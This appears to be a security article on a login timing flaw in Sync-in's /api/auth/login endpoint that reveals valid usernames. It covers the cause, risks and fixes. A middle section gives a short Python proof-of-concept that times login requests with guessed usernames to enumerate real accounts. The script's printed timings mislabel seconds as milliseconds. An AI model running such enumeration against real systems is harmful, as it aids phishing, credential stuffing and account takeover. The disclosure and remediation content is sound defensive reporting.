Sync-in Server Exposes Usernames via Login Timing Attack
Sync-in’s server software, an open-source collaboration platform, suffers from a username enumeration vulnerability in its /api/auth/login endpoint. Unauthenticated attackers measure response times to distinguish valid usernames from invalid ones. Valid usernames trigger 350-400ms responses on average; invalid ones return in 95-100ms. This flaw, rated medium severity, appears in the GitHub commit at lines 91-95 of users-queries.service.ts.
Timing attacks like this exploit inconsistent backend logic. The code likely short-circuits on non-existent users: it checks for a user match first, then verifies passwords only if found. Invalid usernames skip the database hash comparison or password check, shaving off roughly 250-300ms. Researchers validated this using TickTock Enum, a Burp Suite extension that automates timing analysis. On a test instance, the delta held steady across runs, confirming reliability.
How Attackers Exploit It
Exploitation requires no privileges, just network access. An attacker scripts requests to /api/auth/login with guessed usernames and junk credentials. Python with requests and time.perf_counter suffices. Here’s a basic example:
import requests
import time
base_url = "https://target.com"
usernames = ["admin", "user1", "test"] # From common lists or leaks
for username in usernames:
start = time.perf_counter()
resp = requests.post(f"{base_url}/api/auth/login", json={
"username": username,
"password": "dummy"
})
elapsed = time.perf_counter() - start
if elapsed > 0.2: # Threshold based on 250ms delta
print(f"Valid username: {username} ({elapsed:.0f}ms)")
else:
print(f"Invalid: {username} ({elapsed:.0f}ms)")This scales easily. Feed it a list of 10,000 common usernames or harvested emails, and valid ones surface in minutes. No rate limiting mentioned in the advisory blocks this outright.
Timing vulns aren’t new— they’ve plagued apps since the 2000s. Open-source projects like Nextcloud and Mattermost fixed similar issues after disclosure. Sync-in, with its 700+ stars on GitHub as of late 2023, targets teams for file sync and chat. Exposed usernames aid phishing: “Reset password for [realuser@company.com]” lands harder.
Real-World Risks and Fixes
Why care? Enumeration isn’t game-over alone, but it turbocharges attacks. Pair it with credential stuffing—using breached passwords from Have I Been Pwned—and takeover odds spike. In finance or crypto setups, where Sync-in might handle shared docs, this invites targeted brute-force. A 2022 Verizon DBIR pegs 80% of breaches to compromised creds; leaks like this grease the wheels.
Impact scales with user count. Small teams? Minor annoyance. Enterprises with 1,000+ accounts? Attack surface balloons. Social engineering amplifies: attackers craft spear-phish knowing @ceo or @devops exists.
Fair assessment: Medium rating fits. No RCE or data dump, but sloppy auth hygiene erodes trust. Sync-in maintainers should patch pronto—constant-time checks via crypto.timingSafeEqual in Node.js, or artificial delays on all fails. Return identical “Invalid credentials” for both cases, always.
Users: Audit your instance. Check response times manually via browser dev tools or curl. Update to a fixed version once released; fork and patch if stalled. This underscores open-source reality: stars don’t equal security. Vet auth endpoints rigorously—tools like Burp or Nuclei detect these fast.
Bottom line: Fix auth timing yesterday. It costs seconds to test, prevents months of headaches.
